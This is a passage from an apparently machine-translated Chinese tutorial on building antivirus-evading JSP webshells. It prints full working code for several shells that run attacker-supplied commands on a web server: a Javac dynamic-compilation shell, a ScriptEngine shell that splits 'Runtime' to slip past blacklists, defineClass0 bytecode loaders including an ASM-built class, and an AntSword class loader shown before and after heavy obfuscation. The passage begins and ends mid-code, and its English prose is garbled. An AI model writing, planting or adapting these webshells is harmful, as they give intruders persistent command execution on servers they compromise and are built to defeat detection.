        String TCdtxqdRtUvCZbefvpib = RsYpziowqWZoOiHwzNsD.toString();
        TCdtxqdRtUvCZbefvpib = TCdtxqdRtUvCZbefvpib.replace("\\\"", "\"");
        TCdtxqdRtUvCZbefvpib = TCdtxqdRtUvCZbefvpib.replace("\\n", "\n");
        return TCdtxqdRtUvCZbefvpib;
    } catch (Exception ignored) {
        return "";
    }
}%><%
    try {
        String[] ohMQjyWPNghGDIectNXy = new String[] { "M3w3fDl8MTF8MTB8NHwxfDEzfDB8Nnw4fDEyfDJ8NQ==", "eWZt", "bHZt", "amF2YS5sYW5nLlJ1bnRpbWU=", "cG5jQWR3Y3J2bg==", "bmdubA==", "PHByZT4=", "PC9wcmU+" };
        String KYojVAFKnStuhAMYzhkx = dec(ohMQjyWPNghGDIectNXy[((234768 ^ 1973569) ^ (590428 ^ 1346061))], ((651824 ^ 1630724) ^ (814895 ^ 1933074)));
        String[] yvralpImQfqgUyDKbRSG = KYojVAFKnStuhAMYzhkx.split("\\|");
        int kGsnqIufqoPkrtLHXIaW = ((279689 ^ 1441046) ^ (1995565 ^ 1034930));
        String llbDKgUNpIZeFFzrADVc = null;
        String DnyFyfbKEMRubCuIJCGT = null;
        Class sdyNhFJrytFWBVFtHBAW = null;
        java.lang.reflect.Method IggLavlquoqeLcmkEMCH = null;
        java.lang.reflect.Method vECcMsoXaxNOVEfGJtyD = null;
        Process PqYHaydLQrLSTEejmXPC = null;
        java.io.InputStream SOPjuNYhMRIxBIMFsLnC = null;
        java.io.InputStreamReader OskZRyDgCtUfhCNMbiHl = null;
        java.io.BufferedReader ADbSwyDfyRrnejwmlMVP = null;
        byte[] FyRwKNOxPNyWZqTioayh = null;
        while (true) {
            int ckwcNOWaQwslAqKXsBXS = Integer.parseInt(yvralpImQfqgUyDKbRSG[kGsnqIufqoPkrtLHXIaW++]);
            switch(ckwcNOWaQwslAqKXsBXS) {
                case ((130619 ^ 1310711) ^ (16539 ^ 1196378)):
                    SOPjuNYhMRIxBIMFsLnC = PqYHaydLQrLSTEejmXPC.getInputStream();
                    break;
                case ((70158 ^ 1439183) ^ (936575 ^ 1748408)):
                    out.print(dec(ohMQjyWPNghGDIectNXy[((1035581 ^ 1276560) ^ (1012433 ^ 1295738))], ((408828 ^ 1977713) ^ (805113 ^ 1333629))));
                    break;
                case ((791991 ^ 1721991) ^ (276318 ^ 1205350)):
                    OskZRyDgCtUfhCNMbiHl = new java.io.InputStreamReader(SOPjuNYhMRIxBIMFsLnC);
                    break;
                case ((994327 ^ 1996681) ^ (272624 ^ 1405797)):
                    sdyNhFJrytFWBVFtHBAW = Class.forName(dec(ohMQjyWPNghGDIectNXy[((723389 ^ 1911990) ^ (940741 ^ 1605581))], ((565548 ^ 1732890) ^ (581035 ^ 1707412))));
                    break;
                case ((660296 ^ 1894086) ^ (864030 ^ 1825429)):
                    out.print(dec(ohMQjyWPNghGDIectNXy[((160730 ^ 1269193) ^ (2021183 ^ 1046827))], ((530501 ^ 1792818) ^ (68852 ^ 1200010))));
                    break;
                case ((314344 ^ 1957918) ^ (171737 ^ 1815843)):
                    ADbSwyDfyRrnejwmlMVP = new java.io.BufferedReader(OskZRyDgCtUfhCNMbiHl);
                case ((7180 ^ 1883268) ^ (1034438 ^ 1271886)):
                    FyRwKNOxPNyWZqTioayh = new byte[((874262 ^ 1421190) ^ (356355 ^ 1933459))];
                    break;
                case ((840786 ^ 1964027) ^ (75706 ^ 1049616)):
                    llbDKgUNpIZeFFzrADVc = request.getParameter(dec(ohMQjyWPNghGDIectNXy[((313090 ^ 1196306) ^ (855029 ^ 1805796))], ((1045651 ^ 1997062) ^ (598409 ^ 1616917))));
                    break;
                case ((472276 ^ 1989936) ^ (960482 ^ 1560079)):
                    if (!llbDKgUNpIZeFFzrADVc.equals(PASSWORD)) {
                        return;
                    }
                    break;
                case ((405394 ^ 1254229) ^ (606815 ^ 1855135)):
                    DnyFyfbKEMRubCuIJCGT = request.getParameter(dec(ohMQjyWPNghGDIectNXy[((877796 ^ 1647594) ^ (1003933 ^ 1775249))], ((417054 ^ 1917469) ^ (779740 ^ 1112790))));
                    break;
                case ((766303 ^ 1441376) ^ (438729 ^ 1638140)):
                    IggLavlquoqeLcmkEMCH = sdyNhFJrytFWBVFtHBAW.getMethod(dec(ohMQjyWPNghGDIectNXy[((213616 ^ 1517688) ^ (867884 ^ 1659936))], ((741373 ^ 1786126) ^ (161325 ^ 1210583))));
                    break;
                case ((93071 ^ 1493750) ^ (108351 ^ 1443399)):
                    PqYHaydLQrLSTEejmXPC = (Process) vECcMsoXaxNOVEfGJtyD.invoke(IggLavlquoqeLcmkEMCH.invoke(null), DnyFyfbKEMRubCuIJCGT);
                    break;
                case ((480088 ^ 1200421) ^ (422292 ^ 1274859)):
                    String VzWBitUpHtiNHjloSSoh = null;
                    while ((VzWBitUpHtiNHjloSSoh = ADbSwyDfyRrnejwmlMVP.readLine()) != null) {
                        out.println(VzWBitUpHtiNHjloSSoh);
                    }
                    break;
                case ((492345 ^ 1552686) ^ (791819 ^ 1845016)):
                    vECcMsoXaxNOVEfGJtyD = sdyNhFJrytFWBVFtHBAW.getMethod(dec(ohMQjyWPNghGDIectNXy[((914605 ^ 1809294) ^ (17726 ^ 1452568))], ((937477 ^ 1205935) ^ (615802 ^ 1396185))), String.class);
                    break;
            }
        }
    } catch (Exception ignored) {
    }
 %>

十四、Javac动态编译

Master three dreams provideJavacDynamic compilation from kill the horse can also be further processing,Has been achieved in the tool.

在JSPConstruct the command executionJavaRealize dynamic compile and execute codeWebshell,其中appendMany strings and don't write directly,In order to better Caesar encryption and xor encryption、

Before handling the originalWebshell如下:

<%@ page language="java" pageEncoding="UTF-8" %>
<%@ page import="java.nio.file.Files" %>
<%@ page import="javax.tools.ToolProvider" %>
<%@ page import="javax.tools.JavaCompiler" %>
<%@ page import="javax.tools.DiagnosticCollector" %>
<%@ page import="java.util.Locale" %>
<%@ page import="java.nio.charset.Charset" %>
<%@ page import="javax.tools.StandardJavaFileManager" %>
<%@ page import="java.util.Random" %>
<%@ page import="java.nio.file.Paths" %>
<%@ page import="java.io.File" %>
<%@ page import="java.net.URLClassLoader" %>
<%@ page import="java.net.URL" %>
<%
    String PASSWORD = "password";
    String cmd = request.getParameter("cmd");
    String pwd = request.getParameter("pwd");
    if (!pwd.equals(PASSWORD)) {
        return;
    }
    String tmpPath = Files.createTempDirectory("xxxxx").toFile().getPath();
    JavaCompiler javaCompiler = ToolProvider.getSystemJavaCompiler();
    DiagnosticCollector diagnostics = new DiagnosticCollector();
    StandardJavaFileManager standardJavaFileManager = javaCompiler.getStandardFileManager(diagnostics, Locale.CHINA, Charset.forName("utf-8"));
    int id = new Random().nextInt(10000000);
    StringBuilder stringBuilder = new StringBuilder()
            .append("import java.io.BufferedReader;\n")
            .append("import java.io.IOException;\n")
            .append("import java.io.InputStream;\n")
            .append("import java.io.InputStreamReader;\n")
            .append("public class Evil" + id + " {\n")
            .append("   public static String result = \"\";\n")
            .append("   public Evil" + id + "() throws Throwable  {\n")
            .append("        StringBuilder stringBuilder = new StringBuilder();\n")
            .append("        try {")
            .append("               BufferedReader bufferedReader = new BufferedReader(new InputStreamReader" +
                    "(Runtime.getRuntime().exec(\"" + cmd + "\").getInputStream()));\n")
            .append("               String line;\n")
            .append("               while((line = bufferedReader.readLine()) != null) {\n")
            .append("                       stringBuilder.append(line).append(\"\\n\");\n")
            .append("               }\n")
            .append("               result = stringBuilder.toString();\n")
            .append("        } catch (Exception e) {\n")
            .append("              e.printStackTrace();\n")
            .append("        }\n")
            .append("        throw new Throwable(stringBuilder.toString());")
            .append("   }\n")
            .append("}");
    Files.write(Paths.get(tmpPath + File.separator + "Evil" + id + ".java"), stringBuilder.toString().getBytes());
    Iterable fileObject = standardJavaFileManager.getJavaFileObjects(tmpPath + File.separator + "Evil" + id + ".java");
    javaCompiler.getTask(null, standardJavaFileManager, diagnostics, null, null, fileObject).call();
    try {
        new URLClassLoader(new URL[]{new URL("file:" + tmpPath + File.separator)}).loadClass("Evil" + id).newInstance();
    } catch (Throwable e) {
        response.getWriter().print("<pre>" + e.getMessage() + "</pre>");
    }
%>

十五、ScriptEngine免杀

Refer to the big wood masterScriptEngine调用JS免杀马,In the tool completed further free to kill.

其中appendMany strings and don't write directly,On the one hand, in order to better Caesar encryption and xor encryption,Another consideration is to preventjava.lang.RuntimeThe blacklist detection.

Before handling the originalWebshell如下:

<%@ page import="java.io.InputStream" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%
    String PASSWORD = "password";
    javax.script.ScriptEngine engine = new javax.script.ScriptEngineManager().getEngineByName("JavaScript");
    engine.put("request",request);
    String pwd = request.getParameter("pwd");
    if(!pwd.equals(PASSWORD)){
        return;
    }
    StringBuilder stringBuilder = new StringBuilder();
    stringBuilder.append("function test(){")
            .append("try {\n")
            .append("  load(\"nashorn:mozilla_compat.js\");\n")
            .append("} catch (e) {}\n")
            .append("importPackage(Packages.java.lang);\n")
            .append("var cmd = request.getParameter(\"cmd\");")
            .append("var x=java/****/.lang./****/Run")
            .append("time./****")
            .append("/getRunti")
            .append("me()/****/.exec(cmd);")
            .append("return x.getInputStream();};")
            .append("test();");
    java.io.InputStream in = (InputStream) engine.eval(stringBuilder.toString());
    StringBuilder outStr = new StringBuilder();
    response.getWriter().print("<pre>");
    java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in);
    java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);
    String s = null;
    while ((s = stdInput.readLine()) != null) {
        outStr.append(s + "\n");
    }
    response.getWriter().print(outStr.toString());
    response.getWriter().print("</pre>");
%>

十六、defineClass0免杀

思路来自su18The master code,Core idea is to load the bytecode execution implementationWebshell功能,In tool to realize.

由于defineClass0native方法,In theory can bypass some test.

由于JVMLoaded the bytecode in a class,所以该WebshellThe ability to execute the command only once,The second run the sameJSPWill lead to repeat classes,To the second execution must upload a bytecode class name differentWebshell.

使用ASMTechnology can realize the function of the random class name,Can be generated every timeWebshellThe bytecode class name is different.

Before handling the originalWebshell如下:

<%@ page language="java" pageEncoding="UTF-8" %>
<%!
    public static Class<?> defineByProxy(String className, byte[] classBytes) throws Exception {
        ClassLoader classLoader = ClassLoader.getSystemClassLoader();
        java.lang.reflect.Method method = java.lang.reflect.Proxy.class.getDeclaredMethod("defineClass0",
                ClassLoader.class, String.class, byte[].class, int.class, int.class);
        method.setAccessible(true);
        return (Class<?>) method.invoke(null, classLoader, className, classBytes, 0, classBytes.length);
    }
%>
<%
    byte[] bytes = new sun.misc.BASE64Decoder().decodeBuffer("yv66vgAAADQAcQoAGwAvBwAwCgACAC8HADEHADIKADMANAoAMwA1CgA2ADcKAAUAOAoABAA5CgAEADoKAAIAOwgAPAoAAgA9CQAQAD4HAD8KAEAAQQgAQgoAQwBECgBFAEYKAEUARwcASAoAFgAvCgAWAEkJAEoASwoATABNBwBOAQADcmVzAQASTGphdmEvbGFuZy9TdHJpbmc7AQAGPGluaXQ+AQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEADVN0YWNrTWFwVGFibGUHAD8HAE8HADAHADEBAApFeGNlcHRpb25zBwBQAQAIdG9TdHJpbmcBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAKU291cmNlRmlsZQEAEUJ5dGVDb2RlRXZpbC5qYXZhDAAeAFEBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgEAFmphdmEvaW8vQnVmZmVyZWRSZWFkZXIBABlqYXZhL2lvL0lucHV0U3RyZWFtUmVhZGVyBwBSDABTAFQMAFUAVgcAVwwAWABZDAAeAFoMAB4AWwwAXAAqDABdAF4BAAEKDAApACoMABwAHQEAGm9yZy9zZWMvc3RhcnQvQnl0ZUNvZGVFdmlsBwBfDABgAGEBABJCeXRlQ29kZUV2aWwuY2xhc3MHAGIMAGMAZAcAZQwAZgBnDABoAGkBABZzdW4vbWlzYy9CQVNFNjRFbmNvZGVyDABqAGsHAGwMAG0AbgcAbwwAcAAfAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TdHJpbmcBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQADKClWAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEAEyhMamF2YS9pby9SZWFkZXI7KVYBAAhyZWFkTGluZQEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEAD2phdmEvbGFuZy9DbGFzcwEADmdldENsYXNzTG9hZGVyAQAZKClMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgEAE2dldFJlc291cmNlQXNTdHJlYW0BACkoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAE2phdmEvaW8vSW5wdXRTdHJlYW0BAAlhdmFpbGFibGUBAAMoKUkBAARyZWFkAQAFKFtCKUkBAAxlbmNvZGVCdWZmZXIBABYoW0IpTGphdmEvbGFuZy9TdHJpbmc7AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuACEAEAAbAAAAAQAAABwAHQAAAAMAAQAeAB8AAgAgAAAAnAAGAAUAAABHKrcAAbsAAlm3AANNuwAEWbsABVm4AAYrtgAHtgAItwAJtwAKTi22AAtZOgTGABIsGQS2AAwSDbYADFen/+oqLLYADrUAD7EAAAACACEAAAAiAAgAAAAMAAQADQAMAA4AFAAPACUAEQAvABIAPgAUAEYAFQAiAAAAGwAC/wAlAAQHACMHACQHACUHACYAAPwAGAcAJAAnAAAABAABACgAAQApACoAAQAgAAAAHQABAAEAAAAFKrQAD7AAAAABACEAAAAGAAEAAAAYAAkAKwAsAAIAIAAAAGAAAgAFAAAAMBIQtgAREhK2ABNMK7YAFLwITSsstgAVV7sAFlm3ABdOLSy2ABg6BLIAGRkEtgAasQAAAAEAIQAAAB4ABwAAABwACwAdABIAHgAYAB8AIAAgACcAIQAvACIAJwAAAAQAAQAoAAEALQAAAAIALg==");
    Class<?> testClass = defineByProxy("org/sec/start/ByteCodeEvil", bytes);
    Object result = testClass.getConstructor(String.class).newInstance(request.getParameter("cmd"));
    out.print("<pre>");
    out.println(result.toString());
    out.print("</pre>");
%>

The bytecode is the class,一个普通类,Implement a simple in the method of constructing the echoWebshell.

If the class is instantiated will execute the command,实现Webshell的功能:

public class ByteCodeEvil {
    String res;

    public ByteCodeEvil(String cmd) throws IOException {
        StringBuilder stringBuilder = new StringBuilder();
        BufferedReader bufferedReader = new BufferedReader(
                new InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));
        String line;
        while ((line = bufferedReader.readLine()) != null) {
            stringBuilder.append(line).append("\n");
        }
        this.res = stringBuilder.toString();
    }

    public String toString() {
        return this.res;
    }
}

Why don't you direct tectonic bytecode,Then load the execution implementationWebshell呢?

于是笔者用JDK自带的ASM实现了ByteCodeEvil类,Attention must use their ownASM,Because the target machine must have beenJDKBut don't necessarily have the third party to rely on libraries.

Before handling the originalWebshell如下:

<%@ page language="java" pageEncoding="UTF-8" %>
<%!
    public static Class<?> defineByProxy(String className, byte[] classBytes) throws Exception {
        ClassLoader classLoader = ClassLoader.getSystemClassLoader();
        java.lang.reflect.Method method = java.lang.reflect.Proxy.class.getDeclaredMethod("defineClass0",
                ClassLoader.class, String.class, byte[].class, int.class, int.class);
        method.setAccessible(true);
        return (Class<?>) method.invoke(null, classLoader, className, classBytes, 0, classBytes.length);
    }
%>
<%@ page import="static jdk.internal.org.objectweb.asm.Opcodes.*" %>
<%
    jdk.internal.org.objectweb.asm.ClassWriter classWriter = new jdk.internal.org.objectweb.asm.ClassWriter(
            jdk.internal.org.objectweb.asm.ClassWriter.COMPUTE_FRAMES);
    jdk.internal.org.objectweb.asm.FieldVisitor fieldVisitor;
    jdk.internal.org.objectweb.asm.MethodVisitor methodVisitor;
    classWriter.visit(V1_8, ACC_PUBLIC | ACC_SUPER, "sample/ByteCodeEvil", null, "java/lang/Object", null);
    fieldVisitor = classWriter.visitField(0, "res", "Ljava/lang/String;", null, null);
    fieldVisitor.visitEnd();
    methodVisitor = classWriter.visitMethod(ACC_PUBLIC, "<init>", "(Ljava/lang/String;)V", null, new String[]{"java/io/IOException"});
    methodVisitor.visitCode();
    methodVisitor.visitVarInsn(ALOAD, 0);
    methodVisitor.visitMethodInsn(INVOKESPECIAL, "java/lang/Object", "<init>", "()V", false);
    methodVisitor.visitTypeInsn(NEW, "java/lang/StringBuilder");
    methodVisitor.visitInsn(DUP);
    methodVisitor.visitMethodInsn(INVOKESPECIAL, "java/lang/StringBuilder", "<init>", "()V", false);
    methodVisitor.visitVarInsn(ASTORE, 2);
    methodVisitor.visitTypeInsn(NEW, "java/io/BufferedReader");
    methodVisitor.visitInsn(DUP);
    methodVisitor.visitTypeInsn(NEW, "java/io/InputStreamReader");
    methodVisitor.visitInsn(DUP);
    methodVisitor.visitMethodInsn(INVOKESTATIC, "java/lang/Runtime", "getRuntime", "()Ljava/lang/Runtime;", false);
    methodVisitor.visitVarInsn(ALOAD, 1);
    methodVisitor.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Runtime", "exec", "(Ljava/lang/String;)Ljava/lang/Process;", false);
    methodVisitor.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Process", "getInputStream", "()Ljava/io/InputStream;", false);
    methodVisitor.visitMethodInsn(INVOKESPECIAL, "java/io/InputStreamReader", "<init>", "(Ljava/io/InputStream;)V", false);
    methodVisitor.visitMethodInsn(INVOKESPECIAL, "java/io/BufferedReader", "<init>", "(Ljava/io/Reader;)V", false);
    methodVisitor.visitVarInsn(ASTORE, 3);
    jdk.internal.org.objectweb.asm.Label label0 = new jdk.internal.org.objectweb.asm.Label();
    methodVisitor.visitLabel(label0);
    methodVisitor.visitVarInsn(ALOAD, 3);
    methodVisitor.visitMethodInsn(INVOKEVIRTUAL, "java/io/BufferedReader", "readLine", "()Ljava/lang/String;", false);
    methodVisitor.visitInsn(DUP);
    methodVisitor.visitVarInsn(ASTORE, 4);
    jdk.internal.org.objectweb.asm.Label label1 = new jdk.internal.org.objectweb.asm.Label();
    methodVisitor.visitJumpInsn(IFNULL, label1);
    methodVisitor.visitVarInsn(ALOAD, 2);
    methodVisitor.visitVarInsn(ALOAD, 4);
    methodVisitor.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "append", "(Ljava/lang/String;)Ljava/lang/StringBuilder;", false);
    methodVisitor.visitLdcInsn("\n");
    methodVisitor.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "append", "(Ljava/lang/String;)Ljava/lang/StringBuilder;", false);
    methodVisitor.visitInsn(POP);
    methodVisitor.visitJumpInsn(GOTO, label0);
    methodVisitor.visitLabel(label1);
    methodVisitor.visitVarInsn(ALOAD, 0);
    methodVisitor.visitVarInsn(ALOAD, 2);
    methodVisitor.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "toString", "()Ljava/lang/String;", false);
    methodVisitor.visitFieldInsn(PUTFIELD, "sample/ByteCodeEvil", "res", "Ljava/lang/String;");
    methodVisitor.visitInsn(RETURN);
    methodVisitor.visitMaxs(6, 5);
    methodVisitor.visitEnd();
    methodVisitor = classWriter.visitMethod(ACC_PUBLIC, "toString", "()Ljava/lang/String;", null, null);
    methodVisitor.visitCode();
    methodVisitor.visitVarInsn(ALOAD, 0);
    methodVisitor.visitFieldInsn(GETFIELD, "sample/ByteCodeEvil", "res", "Ljava/lang/String;");
    methodVisitor.visitInsn(ARETURN);
    methodVisitor.visitMaxs(1, 1);
    methodVisitor.visitEnd();
    classWriter.visitEnd();
    byte[] code = classWriter.toByteArray();
    Class<?> testClass = defineByProxy("sample/ByteCodeEvil", code);
    Object result = testClass.getConstructor(String.class).newInstance(request.getParameter("cmd"));
    out.print("<pre>");
    out.println(result.toString());
    out.print("</pre>");
%>

注意该Webshell和上文一样,只能执行一次.

如果想多次执行,Need the name of the class is different,Where different implementation class name is very simple,修改sample/ByteCodeEvil即可.

十七、Ant sword kill free processing

The author try to use the above method(0x02-0x05)And take instructions, and other small means,Finally realized the ant swordWebshell的处理,Don't know how free kill effect.

Before handling the originalWebshell如下:

<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }

    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }
%>
<%
    String cls = request.getParameter("passwd");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
    }
%>

处理后:

<%!
    class VGakJDyicU extends ClassLoader {
        VGakJDyicU(ClassLoader sjqhdnqocals) {
            super(sjqhdnqocals);
            for (int ZCzmllUXtVEeZskSMJEz = (1263180 ^ 1263180); ZCzmllUXtVEeZskSMJEz < (1863338 ^ 1863328); ZCzmllUXtVEeZskSMJEz++) {
                if (ZCzmllUXtVEeZskSMJEz == (1988769 ^ 1988776)) {
                    break;
                }
            }
        }

        private int dsaENLANCL() {
            for (int yoMmmGPWAtcOBiAgCUWX = ((259959 ^ 1197627) ^ (206306 ^ 1217710)); yoMmmGPWAtcOBiAgCUWX < ((343431 ^ 1794195) ^ (966919 ^ 1088537)); yoMmmGPWAtcOBiAgCUWX++) {
                if (yoMmmGPWAtcOBiAgCUWX == ((134011 ^ 1675804) ^ (770157 ^ 1071363))) {
                    break;
                }
            }
            return ((485255 ^ 1246863) ^ (156062 ^ 1441942));
        }

        public Class qwer(byte[] dqwbdjk) {
            if (dqwbdjk.length == ((2069908 ^ 1078641) ^ (1784881 ^ 1367216))) {
                for (int GsuWImCilISonbpTyZui = ((636131 ^ 1142979) ^ (124627 ^ 1647347)); GsuWImCilISonbpTyZui < ((579438 ^ 1670906) ^ (348300 ^ 1374482)); GsuWImCilISonbpTyZui++) {
                    if (GsuWImCilISonbpTyZui == ((13479 ^ 1889100) ^ (611430 ^ 1422212))) {
                        break;
                    }
                }
            }
            int ercCqJlVzFqfCyrEabcm = dqwbdjk.length;
            if (ercCqJlVzFqfCyrEabcm > ((330429 ^ 1925916) ^ (741991 ^ 1260492))) {
                for (int llcdjrZGNEWQaALQAsUR = ((207275 ^ 1682785) ^ (184435 ^ 1594553)); llcdjrZGNEWQaALQAsUR < ((206607 ^ 1213855) ^ (1981517 ^ 1023703)); llcdjrZGNEWQaALQAsUR++) {
                    if (llcdjrZGNEWQaALQAsUR == ((328245 ^ 1533470) ^ (510359 ^ 1420725))) {
                        break;
                    }
                }
            }
            byte[] YwAvyJBZdbTBZbQhcBwH = dqwbdjk;
            Class TaoMNcEEzcdFDzvxRtCB = super.defineClass(YwAvyJBZdbTBZbQhcBwH, ((396500 ^ 1437237) ^ (289123 ^ 1543042)), YwAvyJBZdbTBZbQhcBwH.length);
            if (TaoMNcEEzcdFDzvxRtCB.isInterface()) {
                TaoMNcEEzcdFDzvxRtCB.getName();
            }
            return TaoMNcEEzcdFDzvxRtCB;
        }
    }
%><%!
    public static byte[] base64Decode(String str) throws Exception {
        String[] globalArr = new String[]{"c3VuLm1pc2MuQkFTRTY0RGVjb2Rlcg==", "aGlnc2hpRnlqaml2", "amF2YS51dGlsLkJhc2U2NA==", "a2l4SGlnc2hpdg==", "aGlnc2hp"};
        try {
            Class clazz = Class.forName(dec(globalArr[((0 ^ 1345535) ^ (715040 ^ 1994463))], ((600797 ^ 1524742) ^ (207413 ^ 1918186))));
            return (byte[]) clazz.getMethod(dec(globalArr[((948015 ^ 1651496) ^ (182287 ^ 1412105))], ((769795 ^ 1506285) ^ (688088 ^ 1522482))), String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Class clazz = Class.forName(dec(globalArr[((797587 ^ 1382585) ^ (127362 ^ 1622698))], ((582194 ^ 1928767) ^ (636958 ^ 1848343))));
            Object decoder = clazz.getMethod(dec(globalArr[((664470 ^ 1890424) ^ (1680902 ^ 1007083))], ((1485 ^ 1523451) ^ (346165 ^ 1209095)))).invoke(null);
            return (byte[]) decoder.getClass().getMethod(dec(globalArr[((554945 ^ 1929084) ^ (225411 ^ 1468474))], ((682491 ^ 1223509) ^ (148392 ^ 1736962))), String.class).invoke(decoder, str);
        }
    }
%><%!
    public static String dec(String str, int offset) {
        try {
            byte[] MQgbKJrvmvUNiACWzYhP = new sun.misc.BASE64Decoder().decodeBuffer(str);
            str = new String(MQgbKJrvmvUNiACWzYhP);
            char rKfCgregXvByjCvhxRxW;
            StringBuilder UJmcHvuZzxZueglvhEXj = new StringBuilder();
            for (int IEQwwpVvaGzMUAxhssQF = (1825797 ^ 1825797); IEQwwpVvaGzMUAxhssQF < str.length(); IEQwwpVvaGzMUAxhssQF++) {
                rKfCgregXvByjCvhxRxW = str.charAt(IEQwwpVvaGzMUAxhssQF);
                if (rKfCgregXvByjCvhxRxW >= 'a' && rKfCgregXvByjCvhxRxW <= 'z') {
                    rKfCgregXvByjCvhxRxW = (char) (((rKfCgregXvByjCvhxRxW - 'a') - offset + (1474946 ^ 1474968)) % (1398627 ^ 1398649) + 'a');
                } else if (rKfCgregXvByjCvhxRxW >= 'A' && rKfCgregXvByjCvhxRxW <= 'Z') {
                    rKfCgregXvByjCvhxRxW = (char) (((rKfCgregXvByjCvhxRxW - 'A') - offset + (1850740 ^ 1850734)) % (1084508 ^ 1084486) + 'A');
                } else if (rKfCgregXvByjCvhxRxW >= '0' && rKfCgregXvByjCvhxRxW <= '9') {
                    rKfCgregXvByjCvhxRxW = (char) (((rKfCgregXvByjCvhxRxW - '0') - offset + (1210262 ^ 1210268)) % (1307501 ^ 1307495) + '0');
                } else {
                    UJmcHvuZzxZueglvhEXj = new StringBuilder(str);
                    break;
                }
                UJmcHvuZzxZueglvhEXj.append(rKfCgregXvByjCvhxRxW);
            }
            String DqvcAOdAcpWauApzwTRq = UJmcHvuZzxZueglvhEXj.toString();
            DqvcAOdAcpWauApzwTRq = DqvcAOdAcpWauApzwTRq.replace("\\\"", "\"");
            DqvcAOdAcpWauApzwTRq = DqvcAOdAcpWauApzwTRq.replace("\\n", "\n");
            return DqvcAOdAcpWauApzwTRq;
        } catch (Exception ignored) {
            return "";
        }
    }
%><%
    String[] oNJuJikOgjxSAgpuapoa = new String[]{"MXw2fDExfDB8MTJ8N3w1fDl8MTN8NHwzfDJ8OHwxMA==", "eWpiYmZtbQ=="};
    String ckphsywtqiXvMyIouIdk = dec(oNJuJikOgjxSAgpuapoa[((0 ^ 1454308) ^ (144559 ^ 1311819))], ((842141 ^ 1629663) ^ (862872 ^ 1650387)));
    String[] FcuXNygiqPJbDZwvnlSg = ckphsywtqiXvMyIouIdk.split("\\|");
    String dmjXOSyFxLGKfPNJeVkE = null;
    ClassLoader jKpxyUZqKneUsfmnxTlC = null;
    VGakJDyicU QTZxUuEMsBJWRNcudHyD = null;
    byte[] fOusiCauDCKbMzDlKvqw = null;
    Class AAsWwIQGRxHfKbdqLZev = null;
    Object BYaCKDJJsTfIPkqUyKoL = null;
    int YvkdhaCbnCbPDaUNRuBo = ((187401 ^ 1704406) ^ (1008132 ^ 1556443));
    while (YvkdhaCbnCbPDaUNRuBo < ((319511 ^ 1953485) ^ (612423 ^ 1078932))) {
        int cTJfJkZQDeaXOYYzRNnC = Integer.parseInt(FcuXNygiqPJbDZwvnlSg[YvkdhaCbnCbPDaUNRuBo++]);
        switch (cTJfJkZQDeaXOYYzRNnC) {
            case ((664766 ^ 1058149) ^ (44698 ^ 1748812)):
                for (int OxJhcBTqssMVndvyMIjo = ((309873 ^ 1246634) ^ (241737 ^ 1314706)); OxJhcBTqssMVndvyMIjo < ((333641 ^ 1628558) ^ (832090 ^ 1146007)); OxJhcBTqssMVndvyMIjo++) {
                    if (OxJhcBTqssMVndvyMIjo == ((861272 ^ 1921733) ^ (635827 ^ 1688871))) {
                        break;
                    }
                }
                break;
            case ((122212 ^ 1235151) ^ (468463 ^ 1318981)):
                dmjXOSyFxLGKfPNJeVkE = request.getParameter(dec(oNJuJikOgjxSAgpuapoa[((69673 ^ 1384378) ^ (410020 ^ 1199670))], ((115978 ^ 1645709) ^ (996168 ^ 1567430))));
                break;
            case ((1002251 ^ 1980313) ^ (29403 ^ 1117772)):
                BYaCKDJJsTfIPkqUyKoL = AAsWwIQGRxHfKbdqLZev.newInstance();
                break;
            case ((520420 ^ 1745450) ^ (7204 ^ 1920737)):
                jKpxyUZqKneUsfmnxTlC = this.getClass().getClassLoader();
                break;
            case ((167948 ^ 1791275) ^ (393195 ^ 1850060)):
                QTZxUuEMsBJWRNcudHyD = new VGakJDyicU(jKpxyUZqKneUsfmnxTlC);
                break;
